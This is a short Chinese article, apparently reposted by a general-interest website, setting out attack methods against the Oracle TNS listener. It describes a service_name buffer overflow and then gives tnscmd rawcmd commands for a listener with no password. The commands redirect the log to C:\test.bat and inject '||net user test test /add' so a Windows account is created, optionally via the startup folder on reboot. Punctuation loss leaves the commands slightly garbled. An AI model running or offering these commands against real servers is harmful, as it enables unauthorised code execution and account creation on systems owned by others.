针对Oracle的TNSlistener的攻击方法整理以下文字资料是由(历史新知网www.lishixinzhi.com)小编为大家搜集整理后发布的内容,让我们赶快一起来看一下吧!
先 根据版本的不同 TNS listener可能较易受到多种类型的缓冲区溢出攻击 这些攻击可以在不提供用户ID和口令的情况下被利用 例如 在oracle i中 当客户机请求某个过长的service_name时 很容易受到溢出攻击 当listener为日志构建错误消息之后 service_name的值会被复制到某于栈结构的缓冲区内 从而引起溢出—覆蓋保存值将返回栈中的地址 这种做法可以使攻击者获得控制权 事实上 TNS listener曾经有过多次溢出和格式化字符串的漏洞
其次 另一类攻击和日志文件有关 只有当未给listener设置口令的时候 攻击才会有效 假设某个listener没有设置口令 攻击方法如下
[Copy to clipboard]CODE:tnscmd h p rawcmd (DESCRIPTION=(CONNECT_DATA=(CID=(PROGRAM=)(HOST=)(USER=))(MAND=log_directory)(ARGUMENTS= )(SERVICE=LISTENER)(VERSION= )(VALUE=c:\\)))
将日志目录设置到C盘
[Copy to clipboard]CODE:tnscmd h p rawcmd (DESCRIPTION=(CONNECT_DATA=(CID=(PROGRAM=)(HOST=)(USER=))(MAND=log_file)(ARGUMENTS= )(SERVICE=LISTENER)(VERSION= )(VALUE=test bat)))
将日志文件设置为test bat
[Copy to clipboard]CODE:tnscmd h rawcmd (CONNECT_DATA=(( ||dir >test txt||net user test test /add))
该命令把dir >test txt net user test test /add命令写入c:\test bat文件 由于双竖线的作用(第一条命令执行失败后 WINDOWS命令解释器执行后面的命令)把错误的信息注释掉 从而可以执行我们提交的命令
通过设置日志文件到不同的目录 例如WINDOWS的启动目录 当服务器重启将执行恶意用户提交的特定代码 从而对系统造成威胁 lishixinzhi/Article/program/Oracle/201311/18311
分页:123